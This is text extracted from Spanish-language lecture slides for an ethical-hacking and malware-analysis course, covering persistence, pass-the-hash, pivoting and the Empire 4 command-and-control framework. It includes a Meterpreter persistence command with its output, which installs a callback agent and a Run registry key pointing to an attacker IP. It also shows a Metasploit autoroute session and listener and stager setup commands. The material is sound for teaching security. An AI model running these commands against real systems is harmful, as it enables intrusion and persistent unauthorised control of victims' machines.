HEAMALW
Daniel Martínez
Pass the hash, Pivoting e intro a EMPIRE4
REPASO
Agenda:
Tipos de explotación
Directa
Client-Side
Explotación local
Hacking Ético y Análisis de Malware– Daniel Martínez
REPASO
Bypass UAC
Hacking Ético y Análisis de Malware– Daniel Martínez
REPASO
Bypass UAC
Hacking Ético y Análisis de Malware– Daniel Martínez
Persistencia
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443
(interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/persistence/XEN-XP-SP2-
BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Pass the hash
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Pass the hash
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Pass the hash
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Pass the hash
CON UAC ACTIVO:
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Pass the hash
SIN UAC ACTIVO:
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
Mimikatz
Hacking Ético y Análisis de Malware– Daniel Martínez
PASS THE HASH
▪ Cracking de contraseñas
▪ Otros movimientos laterales
Hacking Ético y Análisis de Malware– Daniel Martínez
PIVOTING
▪ Proxies y sockets
▪ Enrutamiento
Hacking Ético y Análisis de Malware– Daniel Martínez
PIVOTING
msf6 post(windows/gather/arp_scanner) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD autoadd yes Specify the autoroute command
(Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or
CIDR as "/24"
SESSION yes The session to run this module on.
SUBNET no Subnet (IPv4, for example,
10.10.10.0)
msf6 post(multi/manage/autoroute) > set session 2
session => 2
msf6 post(multi/manage/autoroute) > set subnet 192.168.56.0/24
subnet => 192.168.56.0/24
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module.
[*] Running module against DESKTOP-SNNS88V
[*] Searching for subnets to autoroute.
[*] Did not find any new subnets to add.
[*] Post module execution completed
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
▪ EMPIRE4
• Servidor
Actúa principalmente como centro de mando y control
• Cliente
Permite al operador gestionar el servidor para crear
payloads
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
$ python3 empire.py server -h
usage: empire.py server [-h] [--debug [DEBUG]] [--reset] [-v] [-
-config CONFIG] [--restip RESTIP] [--restport RESTPORT] [--
socketport SOCKETPORT] [--username USERNAME] [--password
PASSWORD]
...
General Options:
--debug [DEBUG] Debug level for output ...
--reset Resets Empire's database to defaults.
-v, --version Display current Empire version.
--config CONFIG Specify a config.yaml different from the
config.yaml in the empire/server directory.
...
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
EMPIRE4
▪ Listener
Subsistema de comunicación entre la máquina víctima y el
servidor.
▪ Stager
Componente de carga del resto de artefactos de control en la
máquina víctima.
▪ Agent
Será el programa que se instalará finalmente en el equipo
víctima y permitirá administrarlo de forma remota.
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
EMPIRE4 (EJEMPLO)
1. Creación del LISTENER
uselistener http
set Name mylistener
set BindIP <IP>
set Port <PORT>
Execute
2. Creación del STAGER
usestager multi/pyinstaller
set Listener mylistener
Execute
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
EMPIRE4 (EJEMPLO)
3. Ejecución del stager en el cliente
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
EMPIRE4 (EJEMPLO)
Hacking Ético y Análisis de Malware– Daniel Martínez
HERRAMIENTAS
EMPIRE4 (EJEMPLO)
Hacking Ético y Análisis de Malware– Daniel Martínez
www.unir.net
Hacking Ético y Análisis de Malware– Daniel Martínez